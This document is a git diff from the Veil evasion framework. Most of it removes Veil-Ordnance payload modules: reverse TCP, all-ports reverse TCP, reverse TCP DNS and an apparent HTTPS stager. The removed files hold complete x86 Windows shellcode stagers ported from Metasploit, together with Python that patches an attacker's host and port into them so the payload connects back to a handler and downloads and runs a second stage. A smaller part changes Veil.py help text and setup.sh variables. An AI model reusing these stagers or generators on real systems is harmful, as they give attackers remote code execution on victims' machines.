b"\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - b"\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4E\x50\x68\x57\x89\x9F\xC6" + - b"\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3D\x53\x50\x68" + - b"\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x68\x80\x33\x00\x00\x89" + - b"\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" + - b"\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75" + - b"\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBE\xFF\xFF\xFF\x2F" + - b"\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" + - b"\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" + - b"\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" + - b"\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x69\xFF\xFF" + - b"\xFF") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options["LPORT"][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_little_endian = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_little_endian = port_1half + port_2half - - # Get the URI that will be used to check in - incoming_uri = ordnance_helpers.gen_uri() - - # Convert the URI for use within shellcode - uri_shellcode = '' - hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) - hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] - for two_bites in hexed_uri: - uri_shellcode += '\\x' + two_bites.decode('UTF-8') - - final_https_shellcode = codecs.encode(self.stager[0:self.lport_offset], 'hex') - final_p1 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode), 2)) - final_p1 += port_little_endian # Add 91 bytes to get to URI offset - - final_https_shellcode2 = codecs.encode(self.stager[self.lport_offset + 2:self.uri_offset], 'hex') - final_p2 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode2), 2)) - sc = (b'\\x00').decode('utf-8') - final_p2 += uri_shellcode + sc - - final_https_shellcode3 = codecs.encode(self.stager[self.uri_offset + 5:], 'hex') - final_p3 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode3), 2)) - final_p3 += ip_shellcode - final_p3 += "\\x00" - - self.customized_shellcode = final_p1 + final_p2 + final_p3 - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_tcp.py b/Tools/Ordnance/payloads/x86/rev_tcp.py deleted file mode 100644 index ea9301f..0000000 --- a/Tools/Ordnance/payloads/x86/rev_tcp.py +++ /dev/null @@ -1,133 +0,0 @@ -""" -reverse_tcp payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp.rb -""" - -import binascii -import codecs -import socket -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse TCP Stager (Stage 1)" - self.description = "Connects back to a handler to download and run\ - fun files :)" - self.cli_name = "rev_tcp" - self.platform = "Windows" - self.arch = "x86" - self.retries_offset = 192 - self.lhost_offset = 194 - self.lport_offset = 201 - self.exitfunc_offset = 226 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - b"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - b"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - b"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + - b"\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + - b"\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + - b"\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - b"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - b"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - b"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def print_shellcode(self): - '''Prints shellcode''' - print(self.customized_shellcode) - return - - def payload_stats(self): - '''Prints payload stats''' - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - retries = '\\x09' - - stager_shellcode = codecs.encode(self.stager[0:self.retries_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += retries - - stager_shellcode2 = codecs.encode(self.stager[self.retries_offset + 1:self.lhost_offset], 'hex') - stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) - stager_shellcode2 += ip_shellcode - - stager_shellcode3 = codecs.encode(self.stager[self.lhost_offset + 4:self.lport_offset], 'hex') - stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) - stager_shellcode3 += port_shellcode - - stager_shellcode4 = codecs.encode(self.stager[self.lport_offset + 2:], 'hex') - stager_shellcode4 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode4[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode4), 2)) - - self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 + stager_shellcode4 - return diff --git a/Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py b/Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py deleted file mode 100644 index 19ed042..0000000 --- a/Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py +++ /dev/null @@ -1,125 +0,0 @@ -""" -reverse_tcp all ports payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp.rb -""" - -import binascii -import codecs -import socket -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse TCP All Ports Stager (Stage 1)" - self.description = "Attempts to egress bust by trying all ports!" - self.cli_name = "rev_tcp_all_ports" - self.platform = "Windows" - self.arch = "x86" - self.retries_offset = 192 - self.lhost_offset = 195 - self.lport_offset = 202 - self.exitfunc_offset = 226 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - b"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - b"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - b"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - b"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - b"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - b"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - b"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - b"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - b"\xD5\x97\x68\x7F\x00\x00\x01\x68\x02\x00\x01\x00\x89\xE6\x6A\x10" + - b"\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x12\x31\xC0\x66" + - b"\x8B\x46\x02\x86\xE0\x66\x40\x86\xE0\x66\x89\x46\x02\xEB\xDF\x6A" + - b"\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" + - b"\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" + - b"\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + - b"\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - stager_shellcode = codecs.encode(self.stager[0:self.lhost_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += ip_shellcode - - stager_shellcode2 = codecs.encode(self.stager[self.lhost_offset + 4:self.lport_offset], 'hex') - stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) - stager_shellcode2 += port_shellcode - - stager_shellcode3 = codecs.encode(self.stager[self.lport_offset + 2:], 'hex') - stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) - - self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_tcp_dns.py b/Tools/Ordnance/payloads/x86/rev_tcp_dns.py deleted file mode 100644 index 2aa5695..0000000 --- a/Tools/Ordnance/payloads/x86/rev_tcp_dns.py +++ /dev/null @@ -1,134 +0,0 @@ -""" -reverse_tcp DNS payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp_dns.rb -""" - -import binascii -import codecs -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse TCP DNS Stager (Stage 1)" - self.description = "Resolves DNS address, connects back to a handler\ - to download and run fun files :)" - self.cli_name = "rev_tcp_dns" - self.platform = "Windows" - self.arch = "x86" - self.retries_offset = 207 - self.lport_offset = 212 - self.lhost_offset = 248 - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - b"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - b"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - b"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - b"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - b"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - b"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - b"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - b"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - b"\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" + - b"\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" + - b"\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" + - b"\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" + - b"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - b"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - b"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LHOST": ["", "LHOST domain value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) - ip_shellcode_stage = [ip_shellcode_stage[i:i+n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - retries = '\\x09' - - stager_shellcode = codecs.encode(self.stager[0:self.retries_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += retries - - stager_shellcode2 = codecs.encode(self.stager[self.retries_offset + 1:self.lport_offset], 'hex') - stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) - stager_shellcode2 += port_shellcode - - stager_shellcode3 = codecs.encode(self.stager[self.lport_offset + 2:self.lhost_offset], 'hex') - stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) - stager_shellcode3 += ip_shellcode - stager_shellcode3 += "\\x00" - - stager_p2 = codecs.encode(self.stager[self.lhost_offset + len(self.required_options["LHOST"][0]) + 1:], 'hex') - stager_p2 = "\\x" + '\\x'.join(codecs.decode(stager_p2[i:i + 2], 'utf-8') for i in range(0, len(stager_p2), 2)) - - self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 + stager_p2 - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/__init__.py b/Tools/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Veil.py b/Veil.py index 36235ed..57e44c6 100755 --- a/Veil.py +++ b/Veil.py @@ -74,7 +74,7 @@ ordnance_shellcode = parser.add_argument_group('[*] Veil-Ordnance Shellcode Options') ordnance_shellcode.add_argument( - "--ordnance-payload", metavar="rev_tcp", default=None, + "--ordnance-payload", metavar="PAYLOAD", default=None, help='Payload type (bind_tcp, rev_tcp, etc.)') ordnance_encoder = parser.add_argument_group('[*] Veil-Ordnance Encoder Options') @@ -85,7 +85,7 @@ "-e", "--encoder", metavar="ENCODER", default=None, help='Name of shellcode encoder to use') ordnance_encoder.add_argument( - "-b", "--bad-chars", metavar="\\\\x00\\\\x0a..", default=None, + "-b", "--bad-chars", metavar="\\x00\\x0a..", default=None, help='Bad characters to avoid') ordnance_encoder.add_argument( '--print-stats', default=False, action='store_true', @@ -95,34 +95,42 @@ the_conductor = orchestra.Conductor(args) + # --help if args.h: parser.print_help() sys.exit() + # --version if args.version: messages.title_screen() sys.exit() + # --update if args.update: the_conductor.update_veil() sys.exit() + # --setup if args.setup: the_conductor.setup_veil() sys.exit() + # --config if args.config: the_conductor.config_veil() sys.exit() + # --list-tools if args.list_tools: the_conductor.list_tools() sys.exit() + # --clean if args.clean: helpers.clean_payloads() sys.exit() + # Anything else that isn't defined if not args.tool: the_conductor.main_menu() sys.exit() diff --git a/config/setup.sh b/config/setup.sh index f06202c..283c8cb 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -1,4 +1,5 @@ #!/bin/bash +## Can be called by doing: "Veil.py --setup" ## Global variables os="$( awk -F '=' '/^ID=/ {print $2}' /etc/os-release 2>&- )" @@ -28,26 +29,26 @@ else userhomedir="${HOME}" fi +userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" arch="$( uname -m )" -nukewinedir="" -silent=false -force=false -osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- )" -arg="" -errors="" -veildir="/opt/veil" +osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- | sed 's/"//g' )" +osmajversion="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" +veildir="/var/lib/veil" outputdir="${veildir}/output" dependenciesdir="${veildir}/setup-dependencies" -runuser="$( whoami )" -userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" rootdir=$( cd "$( dirname "${BASH_SOURCE[0]}" )/../" && pwd ) -winedir="${veildir}/wine/veil" +winedir="${veildir}/wine" winedrive="${winedir}/drive_c" gempath="${winedir}\drive_c\Ruby187\bin\gem" replace="\\" prefix="Z:" -gempath=${gempath////$replace} -gempath=${prefix}${gempath} +gempath="${gempath////$replace}" +gempath="${prefix}${gempath}" +nukewinedir="" +silent=false +force=false +arg="" +errors="" BOLD="\033[01;01m" # Highlight RED="\033[01;31m" # Issues/Errors @@ -63,22 +64,28 @@ RESET="\033[00m" # Normal func_title(){ ## Echo title echo " ==========================================================================" - echo " Veil (Setup Script) | [Updated]: 2018-04-02" + echo " Veil (Setup Script) | [Updated]: 2018-04-23" echo " ==========================================================================" - echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" + echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" echo "" - #echo "Debug: winedir = ${winedir}" - #echo "Debug: winedrive = ${winedrive}" - #echo "Debug: userhomedir = ${HOME}" - #echo "Debug: rootdir = ${rootdir}" - #echo "Debug: veildir = ${veildir}" - #echo "Debug: dependenciesdir = ${dependenciesdir}" - #echo "Debug: trueuser = ${trueuser}" - #echo "Debug: userprimarygroup = ${userprimarygroup}" - #echo "Debug: os = ${os}" - #echo "Debug: osversion = ${osversion}" - #echo "" + echo " os = ${os}" + echo " osversion = ${osversion}" + echo " osmajversion = ${osmajversion}" + echo " arch = ${arch}" + echo " trueuser = ${trueuser}" + echo " userprimarygroup = ${userprimarygroup}" + echo " userhomedir = ${userhomedir}" + echo " rootdir = ${rootdir}" + echo " veildir = ${veildir}" + echo " outputdir = ${outputdir}" + echo " dependenciesdir = ${dependenciesdir}" + echo " winedir = ${winedir}" + echo " winedrive = ${winedrive}" + echo " gempath = ${gempath}" + echo " silent = ${silent}" + echo " force = ${force}" + echo "" } @@ -97,17 +104,12 @@ func_check_env(){ echo "" echo -e " ${RED}[ERROR]: This setup script requires sudo!${RESET}" echo -e " ${YELLOW} Please install and configure sudo then run this setup again.${RESET}" - echo -e " ${YELLOW} Example: For Debian/Ubuntu: apt-get -y install sudo${RESET}" + echo -e " ${YELLOW} Example: For Debian/Ubuntu: apt-get install -y sudo${RESET}" echo -e " ${YELLOW} For Fedora 22+: dnf -y install sudo${RESET}" exit 1 fi - ## Feedback to user - [ "${silent}" == "true" ] && echo -e " [I] ${YELLOW}Silent Mode${RESET}: ${GREEN}Enabled${RESET}" - [ "${force}" == "true" ] && echo -e " [I] ${YELLOW}Force Mode${RESET}: ${GREEN}Enabled${RESET}" - - ## Double check install (if not silent) echo -e "\n\n [?] ${BOLD}Are you sure you wish to install Veil?${RESET}\n" echo -en " Continue with installation? ([${BOLD}y${RESET}]es/[${BOLD}s${RESET}]ilent/[${BOLD}N${RESET}]o): " 